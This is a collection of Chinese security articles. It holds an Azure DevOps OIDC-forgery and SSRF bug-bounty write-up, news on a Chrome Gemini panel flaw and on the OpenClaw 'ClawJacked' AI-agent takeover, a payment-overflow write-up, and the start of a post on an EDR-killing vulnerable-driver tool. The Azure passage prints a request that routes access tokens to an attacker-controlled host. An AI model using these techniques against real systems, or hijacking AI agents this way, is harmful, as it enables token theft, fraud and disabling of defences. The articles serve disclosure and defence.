当我们发送修改后的请求时，会神奇地发现该服务连接通过了针对带有测试主题（subject）声明的后端服务主体的“验证”。可惜我没有当时的响应截图，但请相信，它确实成功了。
|
||||
|
||||
现在，回想一下 DevOps 工作负载联合的工作原理，这意味着我们可以控制登录到哪个 Entra ID 服务主体——也就是说，我们可以强制 DevOps 登录到其他服务连接所使用的服务主体，从而可能实现权限提升！
|
||||
|
||||
然而，尽管这听起来很令人兴奋，但**到目前为止**
|
||||
还没有实际的利用方法——我们无法控制发送到后端 API 的请求，因此无法滥用它，而且我们目前也拿不到令牌……
|
||||
## 四、漏洞利用
|
||||
|
||||
到目前为止，我们发现的似乎是一个没有实际影响的漏洞。我们知道，在通过这个“服务端点代理（service endpoint proxy）”API测试登录时，我们可以控制由 DevOps 颁发的 OIDC 令牌中的主题（subject）。但是，我们无法提取访问令牌，也无法修改请求。这需要第二个漏洞。
|
||||
### 第二个漏洞
|
||||
|
||||
事实证明，同一个端点充满了 SSRF 漏洞。在我研究这个端点时，甚至发现其他
|
||||
本地研究人员[5]
|
||||
也已经在完全相同的端点上发现了几个其他的 SSRF。但这些并不是唯一的 SSRF。
|
||||
|
||||
当你点击“验证并保存”时发送给 API 的请求是一个对“服务端点代理”的 POST 请求。除了这个端点本身看起来就像是一个内置的 SSRF 漏洞之外（说真的，谁会认为这是个好主意？），这个请求还有点复杂，包含许多奇怪的细节。ServiceEndpointDetails
|
||||
参数包含相当多有趣的字段，但不清楚如何使用这些字段。
|
||||
|
||||
|
||||
|
||||
请求中最有趣的两个参数实际上是 type
|
||||
和 dataSourceName
|
||||
参数。在上面的截图中，我们看到 type="azurerm"
|
||||
（大概是 Azure 资源管理器）和 dataSourceName="TestConnection"
|
||||
。也许，如果我们能枚举出所有可用的不同类型和 dataSources
|
||||
，就可以访问到一些更隐藏的功能？
|
||||
|
||||
在对 Azure DevOps 的 API 文档进行一番探索后，我在 /serviceendpoint/types
|
||||
API 中找到了所有这些信息。这个端点不仅列出了所有可用的服务连接类型，还列出了这些端点的可用配置、可用于验证连接的不同类型的“请求”，以及一些看起来像是在运行时用于将参数注入服务端点请求的模板。这个响应的内容太长了，无法放在这篇博客文章中。仅 azurerm
|
||||
的定义本身就有超过 2000 行格式化的 json。但下面是 azurerm
|
||||
定义的一个极度简化（但仍然很长）的版本，其中包含一些有趣的字段：
|
||||
```
|
||||
{ "inputDescriptors":[ ... { "id":"mlWorkspaceName", "name":"ML Workspace Name", "description":"Machine Learning Workspace name for connecting to the endpoint.\nRefer to <a href=\"https://docs.microsoft.com/en-us/azure/machine-learning/service/how-to-manage-workspace\" class=\"links-connections bolt-link\" target=_blank>link</a> on how to create a ML workspace.", "type":null, "properties":{ "visibleRule":"scopeLevel == AzureMLWorkspace" }, "inputMode":10, "isConfidential":false, "useInDefaultDescription":false, "groupName":null, "valueHint":null, "validation":{ "dataType":10, "isRequired":true, "maxLength":255 } }, ], "authenticationSchemes":[ { "inputDescriptors":[ { "id":"accessToken", "name":"Access Token", "description":"Access token to be used for creating the service principal", "type":null, "properties":null, "inputMode":10, "isConfidential":true, "useInDefaultDescription":false, "groupName":"AuthenticationParameter", "valueHint":null, "validation":{ "dataType":10, "maxLength":256 }, "values":{ "inputId":"accessTokenInput", "isDisabled":true } }, { "id":"role", "name":"Role", "description":"Role to be assigned to the service principal", "type":null, "properties":null, "inputMode":10, "isConfidential":false, "useInDefaultDescription":false, "groupName":"AuthenticationParameter", "valueHint":null, "validation":{ "dataType":10, "maxLength":256 }, "values":{ "inputId":"roleInput", "isDisabled":true } }, { "id":"scope", "name":"Scope", "description":"Scope on which the role should be assigned to the service principal", "type":null, "properties":null, "inputMode":10, "isConfidential":false, "useInDefaultDescription":false, "groupName":"AuthenticationParameter", "valueHint":null, "validation":{ "dataType":10, "maxLength":1024 }, "values":{ "inputId":"scopeInput", "isDisabled":true } }, { "id":"accessTokenFetchingMethod", "name":"Access Fetching Method", "description":"How the Access Token is fetched", "type":null, "properties":null, "inputMode":10, "isConfidential":false, "useInDefaultDescription":false, "groupName":"AuthenticationParameter", "valueHint":null, "validation":{ "dataType":10, "maxLength":128 }, "values":{ "inputId":"accessTokenFetchingMethodInput", "isDisabled":true } }, { "id":"serviceprincipalid", "name":"Application (client) ID", "description":"", "type":null, "properties":null, "inputMode":10, "isConfidential":false, "useInDefaultDescription":false, "groupName":"AuthenticationParameter", "valueHint":null, "validation":{ "dataType":40, "isRequired":true } }, { Line truncated
|
||||
```
|
||||
|
||||
上面的 JSON 数据块为每种数据源类型包含一个对象。回到我们截获的请求，我们看到了数据源类型 "TestConnection"，以及它如何“工作”的定义。具体来说，如果我们查看这个参数：
|
||||
```
|
||||
"endpointUrl":"{{{endpoint.url}}}{{#equals endpoint.scopeLevel 'ManagementGroup'}}providers/Microsoft.Management/managementGroups/{{{endpoint.managementGroupId}}}?api-version=2018-01-01-preview{{else}}subscriptions/{{{endpoint.subscriptionId}}}?api-version=2016-06-01{{/equals}}",
|
||||
```
|
||||
|
||||
这些花括号 "{}" 代表后端使用的 mustache 模板。令人惊讶的是，这个 API 的响应直接展示了服务器端使用的实际模板逻辑。同样，这与
|
||||
Binary Security[5]
|
||||
的人员在他们先前发现的这个端点的 SSRF 中得出的结论一致，不过这为我们理解请求是如何构建的提供了更多见解。
|
||||
|
||||
现在，我们知道该端点需要向后端发送一个经过身份验证的请求，以“验证”令牌是否有效，因此我们可以假设 "endpointUrl" 参数就是用于该验证的端点。更重要的是，我们可以看到，在几乎所有这些数据源中，endpointUrl 实际上是通过 mustache 模板动态生成的。例如，在我上面添加的这个小片段中：
|
||||
```
|
||||
"name":"AzureKubernetesClusters", "endpointUrl":"{{{endpoint.url}}}subscriptions/{{{endpoint.subscriptionId}}}/providers/Microsoft.ContainerService/managedClusters?api-version=2018-03-31{{{#if nextQueryParam}}}&{{{nextQueryParam}}}{{{/if}}}","name":"AzureStorageContainer", "endpointUrl":"https://{{storageAccount}}.blob.{{endpoint.StorageEndpointSuffix}}/?comp=list","name":"AzureKeyVaultSecretByName", "endpointUrl":"https://{{{KeyVaultName}}}.{{{endpoint.AzureKeyVaultDnsSuffix}}}/secrets/{{{SecretName}}}?api-version=2016-10-01","name":"CreateWebhook", "endpointUrl":"https://{{endpoint.mlWorkspaceLocation}}.experiments.azureml.net/webhook/v1.0/subscriptions/{{endpoint.subscriptionId}}/resourceGroups/{{endpoint.resourceGroupName}}/providers/Microsoft.MachineLearningServices/workspaces/{{endpoint.mlWorkspaceName}}/webhooks/{{{webHookName}}}_{{{definition}}}","name":"ServicePrincipalSignInAudience", "endpointUrl":"{{{endpoint.microsoftGraphUrl}}}/v1.0/servicePrincipals/{{{endpoint.spnObjectId}}}",
|
||||
```
|
||||
|
||||
每个数据源都为 mustache 模板使用了不同的参数。在摆弄了这个 API 几分钟后，很明显，终端用户几乎可以控制请求中的所有这些参数。那么换句话说……所有这些参数都容易受到 SSRF 攻击吗？这是否意味着，如果我插入一个我控制的 URL，令牌就会被发送到我的服务器？
|
||||
|
||||
|
||||
|
||||
在直接测试后，发现对于**某些**
|
||||
参数，可以插入的 URL 存在一个白名单。我没有在 azurerm 类型中找到任何不使用验证的端点。尽管在其他“类型”中有很多容易受到 SSRF 攻击的端点，但我的目标是通过工作负载联合窃取用于 Azure 资源管理器的令牌，因为其影响非常明显。那么，我们如何绕过这个白名单呢？
|
||||
|
||||
事实证明——非常容易。如果我们回头看 azurerm
|
||||
类型的定义，其中包含一个“受信主机（trusted hosts）”列表。真是方便！这个列表中包含了 azurewebsites.net
|
||||
，这是所有 Azure 应用服务（App Services）创建时使用的域名。因此，要绕过白名单，我们只需创建一个应用服务并使用该域名即可。
|
||||
|
||||
在创建一个名为 "bbounty" 的应用服务并将参数设置为 bbounty.azurewebsites.net
|
||||
后——**成了**
|
||||
，白名单被绕过，我们的后端应用服务收到了一个请求（只需在日志中打印出请求内容）。以下 JSON 对象被发送到了该端点（请参阅 mlWorkspaceLocation
|
||||
参数）：
|
||||
```
|
||||
{ "dataSourceDetails": { "dataSourceName": "Models", "dataSourceUrl": "", "headers": [], "resourceUrl": "", "requestContent": "", "requestVerb": "", "parameters": { }, "resultSelector": "", "initialContextTemplate": "" }, "resultTransformationDetails": { "callbackContextTemplate": "", "callbackRequiredTemplate": "", "resultTemplate": "" }, "serviceEndpointDetails": { "data": { "environment": "AzureCloud", "scopeLevel": "Subscription", "storageAccount": "test", "identityType" : "AppRegistrationManual", "creationMode": "Manual", "mlWorkspaceLocation": "bbounty.azurewebsites.net?a=", "subscriptionId": "00000000-0000-0000-0000-000000000000", "mlWorkspaceName": "test" }, "type": "azurerm", "url": "https://management.azure.com/", "authorization": { "parameters": { "tenantid": "be68d3d0-141b-4b3d-b18d-4ddbe8818cf2", "workloadIdentityFederationSubject": "anysubject", "serviceprincipalid": "44c79819-1e17-461e-a59b-3c652f67862e" }, "scheme": "WorkloadIdentityFederation" } }}
|
||||
```
|
||||
|
||||
结果就是，以下请求被发送到了我的应用服务：
|
||||
|
||||
|
||||
|
||||
|
||||
事实上，有好几个端点可以用来获取针对不同后端资源的令牌。例如，下面是一张获取 Key Vault 令牌的截图：
|
||||
|
||||
|
||||
|
||||
用一个简单的流程图来总结整个攻击原理：
|
||||
|
||||
|
||||
## 五、影响
|
||||
|
||||
我们现在有两个可以串联起来以造成实际影响的漏洞。我们能够：
|
||||
1. 1. 强制 Azure DevOps 生成一个带有我们可控主题（subject）的已签名 id 令牌。
|
||||
|
||||
1. 2. 强制 Azure DevOps 将该令牌兑换成代表 Entra ID 中某个服务主体的访问令牌，**且该服务主体是租户内任何使用了 Azure DevOps 服务连接配置联合凭证的服务主体**
|
||||
。
|
||||
|
||||
1. 3. 通过 SSRF 漏洞，强制 Azure DevOps 将获取到的 Entra ID 服务主体的访问令牌发送给我们。
|
||||
|
||||
最终结果是，组织中任何有权在 Azure DevOps 中创建服务连接的用户，都可以冒充 Entra ID 中任何使用了 DevOps 联合凭证的服务主体。在许多组织中，由于存在高权限的流水线（例如由平台团队运维的流水线），这可能导致 Entra ID 的完全沦陷。
|
||||
|
||||
为了更直观地说明这一点，请参见下图：
|
||||
|
||||
|
||||
### 影响范围的限制
|
||||
|
||||
上文未讨论的一个细节是 OIDC 提供方本身。在测试期间，我们发现授权部分有一个参数 "workloadIdentityFederationIssuerType"，可以设置为 AzureAD 或 DevOps。在较老的组织中，此值默认为 DevOps，而在较新的组织中则默认为 AzureAD。这决定了令牌的 **颁发者（issuer）**
|
||||
是谁。
|
||||
|
||||
此漏洞仅影响那些历史足够长、以至于仍将 DevOps 颁发者作为默认颁发者的组织。这一变更似乎是在最近几年内发生的，因此，大多数深度依赖 DevOps 的组织仍然受到此漏洞的影响。
|
||||
## 六、总结
|
||||
|
||||
总而言之——Azure DevOps 中有一个“验证”按钮，用于在保存服务连接之前检查它是否真的有权访问后端资源。这个按钮是通过一个 API 调用实现的，该调用可用于将许多经过身份验证的操作“代理”到后端 API。所支持的许多操作中都包含 SSRF 漏洞，其中一些可被滥用以从服务连接中导出访问令牌。除此之外，还有一个额外的错误，允许攻击者利用同一端点上错误实现的 OIDC 功能来提升权限。
|
||||
|
||||
对于一个仅用于“验证身份验证”的按钮来说，这是一个巨大的实现缺陷，其影响也相当显著。事实上，在其他 CI/CD 提供方（如 Github Actions）中，他们并不费心去做这个——因为你可以通过检查日志来查看登录是否失败。
|
||||
|
||||
这就引出了一个问题——这个功能为什么存在？
|
||||
|
||||
这是 Web 应用程序中的一个经典问题：并非真正必要的功能暴露了巨大的攻击面，可能导致该 Web 应用被攻陷。真正的修复方法是弃用该 API，彻底移除这个攻击面。最终，这对 Azure DevOps 的实际功能不会有任何负面影响。
|
||||
|
||||
然而，微软只是增加了一些保护措施并修复了那个一次性的主题（subject）伪造问题，但未能解决该端点中系统性的 SSRF 漏洞……
|
||||
## 七、向微软报告漏洞
|
||||
|
||||
我将此漏洞作为三个不同的问题进行了报告：
|
||||
- • 伪造 id 令牌的 subject，导致权限提升并接管服务主体
|
||||
|
||||
- • 机器学习（Machine Learning）数据源中的 SSRF 漏洞
|
||||
|
||||
- • Key Vault 中的 SSRF 漏洞（与机器学习中的 SSRF 类型相同）
|
||||
|
||||
大致时间线如下：
|
||||
- • 2025年8月5日：向微软报告。
|
||||
|
||||
- • 微软将 Key Vault SSRF 漏洞的严重性设为低。
|
||||
|
||||
- • 2025年9月10日：微软确认了 subject 伪造行为和权限提升问题。
|
||||
|
||||
- • 2025年9月23日：微软发布了针对 subject 伪造问题的修复。
|
||||
|
||||
- • 2025年10月1日：微软确认了 Key Vault SSRF 漏洞。
|
||||
|
||||
- • 2025年10月21日：微软发布了针对 Key Vault SSRF 漏洞的修复。
|
||||
|
||||
- • 对于导致访问令牌导出的机器学习 SSRF 漏洞，微软从未回应，但悄悄修复了它。
|
||||
|
||||
微软总共为权限提升漏洞奖励了 5000 美元，但没有为 SSRF 漏洞提供任何奖金。理由是：
|
||||
> 虽然存在 SSRF 漏洞，但访问权限仅限于预定义的域名集合，且未发现除攻击者已有访问权限之外的任何权限提升。如果您能展示出导致实际权限提升的可行攻击，我们很乐意重新评估此问题的严重性。
|
||||
|
||||
#### 引用链接
|
||||
|
||||
[1]
|
||||
《Azure DevOps Privilege Escalation via OIDC Abuse》: https://dazesecurity.io/blog/azureDevOpsPrivEsc
|
||||
[2]
|
||||
OAuth 客户端凭证授权（OAuth Client Credential Grant）: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-client-creds-grant-flow
|
||||
[3]
|
||||
众所周知的公共 URL: https://openid.net/specs/openid-connect-discovery-1_0.html#ProviderConfig
|
||||
[4]
|
||||
“服务连接（Service Connection）”: https://learn.microsoft.com/en-us/azure/devops/pipelines/library/service-endpoints?view=azure-devops#common-service-connection-types
|
||||
[5]
|
||||
本地研究人员: https://www.binarysecurity.no/posts/2025/05/finding-ssrfs-in-devops-part2
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**交流群**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# Chrome Gemini漏洞：可致攻击者远程访问用户摄像头和麦克风
|
||||
安小圈 2026-03-06 00:45
|
||||
|
||||
**安小圈**
|
||||
|
||||
|
||||
第867期
|
||||
|
||||
|
||||
|
||||
|
||||
**高危漏洞曝光**
|
||||
|
||||
谷歌Chrome浏览器内置的Gemini AI助手被发现存在一个高危安全漏洞（CVE-2026-0628），攻击者无需用户任何额外操作，仅需用户启动浏览器内置的AI面板，即可实现未经授权的摄像头和麦克风访问、本地文件窃取以及钓鱼攻击。
|
||||
|
||||
该漏洞由Palo Alto Networks旗下Unit 42的研究人员发现，并于2025年10月23日向谷歌报告。谷歌确认问题后于2026年1月5日发布补丁。
|
||||
|
||||
**特权架构扩大攻击面**
|
||||
|
||||
Chrome中的Gemini Live功能属于"AI浏览器"这一新兴类别，这类浏览器将AI助手直接嵌入浏览环境。这些AI助手（包括Edge中的Microsoft Copilot以及Atlas和Comet等独立产品）作为特权侧边栏运行，能够实现实时网页摘要、任务自动化和上下文浏览辅助。
|
||||
|
||||
由于这些AI面板需要"多模态"视图才能有效运行，Chrome授予Gemini面板提升的权限，包括访问摄像头、麦克风、本地文件和屏幕截图能力。这种特权架构虽然实现了强大功能，但也显著扩大了浏览器的攻击面。
|
||||
|
||||
**漏洞技术细节**
|
||||
|
||||
漏洞存在于Chrome处理declarativeNetRequest API的方式中，这是一个标准的浏览器扩展权限，允许扩展拦截和修改HTTPS网络请求和响应。该API广泛用于广告拦截等合法用途。
|
||||
|
||||
研究人员发现，Chrome处理hxxps[:]//gemini.google[.]com/app请求时存在关键差异：当该URL在普通浏览器标签页中加载时，扩展可以拦截并向其注入JavaScript，但这不会授予任何特殊权限；而当同一URL在Gemini浏览器面板中加载时，Chrome会以提升的浏览器级权限处理它。
|
||||
|
||||
利用这种不一致性，仅具有基本权限的恶意扩展即可向特权Gemini面板注入任意JavaScript代码，从而劫持受信任的浏览器组件并继承其所有提升的访问权限。
|
||||
|
||||
**攻击能力与影响**
|
||||
|
||||
攻击者通过此技术控制Gemini面板后，仅需受害者点击Gemini按钮即可执行以下操作，无需任何其他用户交互：
|
||||
|
||||
|
||||
|
||||
钓鱼攻击风险尤为危险，因为Gemini面板是受信任的浏览器集成组件。其中显示的恶意内容具有独立钓鱼页面所缺乏的固有可信度。
|
||||
|
||||
**企业安全风险加剧**
|
||||
|
||||
在企业环境中，被入侵的扩展获取员工摄像头、麦克风和本地文件访问权限会带来严重的组织安全风险，可能导致企业间谍活动和数据外泄。
|
||||
|
||||
谷歌已于2026年1月5日发布修复补丁。运行最新版Chrome的用户已受到保护。各组织应立即确保所有终端上的Chrome浏览器完成更新。
|
||||
|
||||
|
||||
END
|
||||
|
||||
|
||||
|
||||
**【以上内容**
|
||||
**来源自：e安在线】**
|
||||
|
||||
|
||||
|
||||
|
||||
[Claude Code Security 技术原理全拆解，传统安全扫描工具真扛不住了？](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247551742&idx=2&sn=8dd0ca0d0a49131c7bc558bfe52d145e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247551205&idx=1&sn=07d4be96cce4a42fb01d1aa4d78b9a35&scene=21#wechat_redirect)
|
||||
|
||||
[网络安全行业，25家网安上市企业业绩预告分析](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247551205&idx=1&sn=07d4be96cce4a42fb01d1aa4d78b9a35&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550839&idx=1&sn=41654142b38ee39e63d341d0117ef036&scene=21#wechat_redirect)
|
||||
|
||||
[某国产操作系统资深开发者，因不穿西装被开除](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550839&idx=1&sn=41654142b38ee39e63d341d0117ef036&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550771&idx=1&sn=b106bb0574435dd5698a74aa50938488&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[看完本文再也不怕网安通报“明文传输” “TLS版本低”漏洞了](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550771&idx=1&sn=b106bb0574435dd5698a74aa50938488&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247550766&idx=1&sn=823d3fdd86bc69edcd337e03d89768eb&scene=21#wechat_redirect)
|
||||
**两名网络安全专家利用勒索软件攻击企业 委托自己联系自己谈赎金**
|
||||
****
|
||||
**聊一聊网络安全公司的内部争斗国家出手！网络安全产业低价中标乱象能否终结？ 网络安全行业还会好起来吗?**
|
||||
|
||||
**《网络安全法》完成修改，自2026年1月1日起施行网络安全法修改了哪些内容？（附详细对照表）全球三大网络安全巨头同时被黑网安：亏损 TOP 10中国联通DNS故障敲响警钟：DNS安全刻不容缓全球超120万个医疗系统公网暴露：患者数据或遭窃取 中国亦受影响个人信息保护负责人信息报送系统填报说明（第一版）全文高度警惕：不明黑客组织攻击中国国防、能源、航空、医疗、网安等重点行业攻防演练在即：如何开展网络安全应急响应【攻防演练】中钓鱼全流程梳理[一文详解]网络安全【攻防演练】中的防御规划与实施攻防必备 | 10款国产“两高一弱”专项解决方案【干货】2024 攻防演练 · 期间 | 需关注的高危漏洞清单攻防演练在即，10个物理安全问题不容忽视红队视角！2024 | 国家级攻防演练100+必修高危漏洞合集(可下载)【攻防演练】中钓鱼全流程梳理攻防演练在即：如何开展网络安全应急响应【零信任】落地的理想应用场景：攻防演练网安同行们，你们焦虑了吗？网安公司最后那点体面，还剩下多少？突发！数万台 Windows 蓝屏。。。。广联达。。。惹的祸。。。权威解答 | 国家网信办就：【数据出境】安全管理相关问题进行答复全国首位！上海通过数据出境安全评估91个，合同备案443个沈传宁：落实《网络数据安全管理条例》，提升全员数据安全意识频繁跳槽，只为投毒【2025】常见的网络安全服务大全（汇总详解）AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿)，附下载**
|
||||
|
||||
@@ -0,0 +1,193 @@
|
||||
# OpenClaw惊爆"ClawJacked"漏洞：AI Agent已被静默接管？
|
||||
千里
|
||||
千里 东方隐侠安全团队 2026-03-05 13:58
|
||||
|
||||
|
||||
|
||||
昨天小隐（千里's Claw&Friend）刷Twitter，看到Oasis Security发了一条推，说发现了OpenClaw的一个高危漏洞，名字叫ClawJacked。
|
||||
|
||||
我当时的反应是：又是OpenClaw？最近的漏洞实在太多了。
|
||||
|
||||
|
||||
|
||||
不过这次真的不一样。这是一个零点击漏洞——你只需要开着OpenClaw去访问一个恶意网站，攻击者就能静默接管你的AI Agent。
|
||||
|
||||
|
||||
01
|
||||
|
||||
它是怎么攻击的？
|
||||
|
||||
|
||||
说白了就几步：
|
||||
1. 你在本机跑着OpenClaw gateway（localhost + 密码保护）
|
||||
|
||||
1. 你像往常一样上网，访问了一个看似正常的网站
|
||||
|
||||
1. 这个网站的JavaScript代码会尝试连接你本地的OpenClaw端口
|
||||
|
||||
1. 因为本地连接没有速率限制，它可以直接暴力破解你的密码
|
||||
|
||||
1. 破解成功后，系统自动把它注册为"可信设备"——因为本地连接被认为是可以信任的
|
||||
|
||||
1. 然后，攻击者就完全控制了你的AI Agent
|
||||
|
||||
|
||||
![]( "")
|
||||
|
||||
你什么都没做，没有任何点击，没有任何授权——AI Agent就没了。当然了，在对Openclaw如此授权的情况下，部署Agent服务的机器权限也就被接管了。
|
||||
|
||||
这不比传统攻击恐怖多了？
|
||||
|
||||
|
||||
02
|
||||
|
||||
攻击成功了能干嘛？
|
||||
|
||||
|
||||
这是最细思极恐的地方。
|
||||
|
||||
一旦攻击者控制了你的AI Agent会发生什么？
|
||||
|
||||
• 如果你用OpenClaw配置了Binance API交易——攻击者可以直接操纵你的账户
|
||||
|
||||
• 如果你用OpenClaw登录了各种服务——攻击者可以获取你的凭据
|
||||
|
||||
• 如果你的AI Agent有访问敏感文件的权限——攻击者可以直接读取
|
||||
|
||||
在今天我们发的文章中，我们配置Binance API的时候我就说，API Key一定要保护好。结果好家伙，OpenClaw本身就有漏洞。
|
||||
|
||||
|
||||
03
|
||||
|
||||
还有一个问题：Skills也不安全
|
||||
|
||||
|
||||
Oasis Security顺便审计了2890+个OpenClaw skills，结果更让人头皮发麻：
|
||||
|
||||
• 41%存在漏洞
|
||||
|
||||
• 99.3%没有config.json权限清单
|
||||
|
||||
啥意思？
|
||||
|
||||
就是攻击者可以上传一个看起来人畜无害的Skill（比如"智能邮件助手"），等48小时后开始窃取你的浏览器凭据和Keychain数据。
|
||||
|
||||
你完全不知道什么时候中的招。
|
||||
|
||||
|
||||
04
|
||||
|
||||
官方怎么说？
|
||||
|
||||
|
||||
好消息是：漏洞已经在2026.2.25修复了，2026.2.26版本包含了完整修复。
|
||||
|
||||
坏消息是：这是一个典型的"发现即利用"漏洞——在公开之前，很可能已经被利用过了。
|
||||
|
||||
|
||||
05
|
||||
|
||||
我是怎么应对的？
|
||||
|
||||
|
||||
第一时间检查了自己的OpenClaw版本。
|
||||
```
|
||||
openclaw status
|
||||
```
|
||||
|
||||
确认是2026.2.26，然后长舒一口气。
|
||||
|
||||
但更重要的是，我开始反思：
|
||||
|
||||
我们到底应该怎么安全地使用AI Agent？
|
||||
|
||||
企业应该怎么做？
|
||||
1. 立即升级：如果还在用旧版本，马上升到2026.2.26+
|
||||
|
||||
1. 不要在公网暴露OpenClaw gateway：这次漏洞主要针对本地开发者，但如果你非要把它暴露到公网，那就是找死
|
||||
|
||||
1. 定期审计AI Agent的访问权限：不只是人在审查，AI Agent的权限也要定期review
|
||||
|
||||
1. 对非人类身份实施治理：Gartner称之为"身份暗物质"问题——企业里AI Agent数量激增，但身份验证和权限控制基本是空白
|
||||
|
||||
1. 谨慎使用第三方Skills：来源不明的Skill不要随便装，装之前看看权限要求
|
||||
|
||||
个人开发者应该怎么做？
|
||||
1. 保持更新：这不用说了
|
||||
|
||||
1. API Key别存本地：上次我们配置Binance API我就说了，能不用固定签名就不用，这次漏洞更是印证了这一点
|
||||
|
||||
1. 本地调试时别乱上网：开玩笑，但确实要注意
|
||||
|
||||
1. 敏感操作用独立账号：别用一个API Key干所有事
|
||||
|
||||
06
|
||||
|
||||
这对行业意味着什么？
|
||||
|
||||
ClawJacked漏洞不仅仅是一个OpenClaw的问题，它是
|
||||
整个AI Agent行业
|
||||
的警钟。
|
||||
|
||||
Gartner最新报告显示：
|
||||
|
||||
• 25%企业已部署AI Agents
|
||||
|
||||
• 88%在追求agentic AI转型
|
||||
|
||||
• 但身份治理完全跟不上
|
||||
|
||||
换句话说：AI Agent的安全问题才刚刚开始。
|
||||
|
||||
以前我们担心的是传统网络安全：防火墙、杀毒软件、渗透测试。但AI Agent带来的问题是全新的：
|
||||
|
||||
• AI Agent有"意志"——它会自主决策
|
||||
|
||||
• AI Agent有"能力"——它能调用工具、执行操作
|
||||
|
||||
• AI Agent有"信任"——它被授予了很高的权限
|
||||
|
||||
当攻击者能控制你的AI Agent，本质上就是控制了一个能自主思考和行动的"数字员工"。
|
||||
|
||||
这比传统的"控制一台服务器"恐怖一百倍。
|
||||
|
||||
|
||||
07
|
||||
|
||||
写到最后
|
||||
|
||||
用AI Agent没问题，但一定要记住：
|
||||
1. 保持更新——漏洞修复要及时
|
||||
|
||||
1. 最小权限——别给Agent太大权力
|
||||
|
||||
1. 定期审计——看看Agent做了什么
|
||||
|
||||
1. 来源审查—— Skills要从靠谱的地方装
|
||||
|
||||
AI是最冷静的助手，但它也是最危险的武器——如果落在别人手里的话。
|
||||
|
||||
|
||||
欢迎关注「东方隐侠安全团队」，一起探索AI安全的边界。
|
||||
|
||||
|
||||
喜欢就
|
||||
关注
|
||||
哦
|
||||
|
||||
|
||||
|
||||
|
||||
动动小手点个
|
||||
赞
|
||||
|
||||
|
||||
|
||||
|
||||
点
|
||||
在看
|
||||
最好看
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
# SRC系列——某高校食堂支付程序惊现“0元购”？SRC支付逻辑漏洞
|
||||
原创 B1ackTide
|
||||
B1ackTide B1acktide安全团队 2026-03-05 14:55
|
||||
|
||||
2026年3月某天，在食堂吃饭的过程中打开点餐程序，发现是一个UI设计相当简陋的程序，于是突然想起为什么不尝试一下。
|
||||
|
||||
于是操作开始，首先我们准备一下对小程序进行抓包
|
||||
|
||||
|
||||
|
||||
随便找一个店下单，拦截下单的包
|
||||
|
||||
|
||||
|
||||
经过测验，该小程序其他参数都有校验，但是count参数只能在小程序点餐时不能修改，抓包后没有进行校验，将其更改为214748365，最大整数为2147483647，这里一份10元，因此能溢出最大整数
|
||||
|
||||
|
||||
|
||||
可以看到成功弹出了微信支付（如果没超过最大整数会有金额校验，数额过大的不会弹出vx）
|
||||
|
||||
|
||||
|
||||
|
||||
点击发送到手机微信支付，可以看到只需要微信支付2元就可以完成订单
|
||||
|
||||
|
||||
|
||||
就此，此次愉快的购物之旅圆满结束，后面也顺利提交。但是道路千万条，安全第一条，网安技术用的好，编制吃到饱，所以各位，本篇文章仅供学习不要做坏事哦。
|
||||
|
||||
声明 该漏洞出自团队成员：茗
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
# TopazTerminator：一款利用漏洞驱动杀进程的黑客工具
|
||||
原创 工具党
|
||||
工具党 幻泉之洲 2026-03-05 12:06
|
||||
|
||||
> 本文介绍了一种名为TopazTerminator的工具，它利用一个尚未被微软官方屏蔽的、存在漏洞的驱动程序wsftprm.sys，可以强制终止包括杀毒软件和EDR在内的受保护系统进程。文章将详细解释其工作原理，并分析其潜在风险。
|
||||
|
||||
## 01 工具概述：一个利用漏洞驱动的进程杀手
|
||||
|
||||
前几天又看到一个驱动程序被披露出来，没法再继续当作秘密武器了。我说的就是 **wsftprm.sys**
|
||||
这个驱动，我本来还想自己捂捂呢。
|
||||
|
||||
既然现在连公开的PoC（概念验证代码）都出来了，那我干脆也别藏了，索性把自己的实现版本开源出来。大家都清楚，这种驱动很快就会被微软加到有漏洞驱动黑名单里，到时候就用不了了。所以，趁现在还能用，这是我用C语言写的一个实现。
|
||||
> 该工具名为TopazTerminator。它的核心是利用一个存在漏洞的、已经签名的内核驱动（Topaz Antifraud的wsftprm.sys），来强行结束Windows系统上受保护的进程。这些进程通常包括你电脑里的杀毒软件或者各种端点检测与响应解决方案。简单说，这是个能“干”掉安全软件的狠家伙。
|
||||
|
||||
## 02 核心漏洞：那个有趣的IOCTL处理方式
|
||||
|
||||
截止到2026年1月，wsftprm.sys文件依然是那些签了名、却又存在漏洞，并且还没有被微软官方拉黑的驱动程序之一。它的SHA-256哈希值是这个：FF5DBDCF6D7AE5D97B6F3EF412DF0B977BA4A844C45B30CA78C0EEB2653D69A8。如果你手里有这个版本的驱动，那么接下来要讲的功能就可能有效。
|
||||
|
||||
关于如何加载和分析一个驱动，网上的资料一抓一大把，我就不重复了。这个驱动真正有趣的地方，在于它处理IOCTL的方式。
|
||||
|
||||
IOCTL是用户层程序和内核驱动“对话”的一种方式，通常你会看到一个巨大的switch
|
||||
语句，根据不同的命令码执行不同的功能。但这个驱动不这么干。
|
||||
|
||||
它用了一连串的减法运算来处理IOCTL命令码，故意把真正的数值给藏了起来。下面是它的主分发函数里最关键的几行逻辑伪代码：
|
||||
|
||||
__int64 __fastcall DispatchDeviceControl(__int64 a1, __int64 a2, ...)
|
||||
|
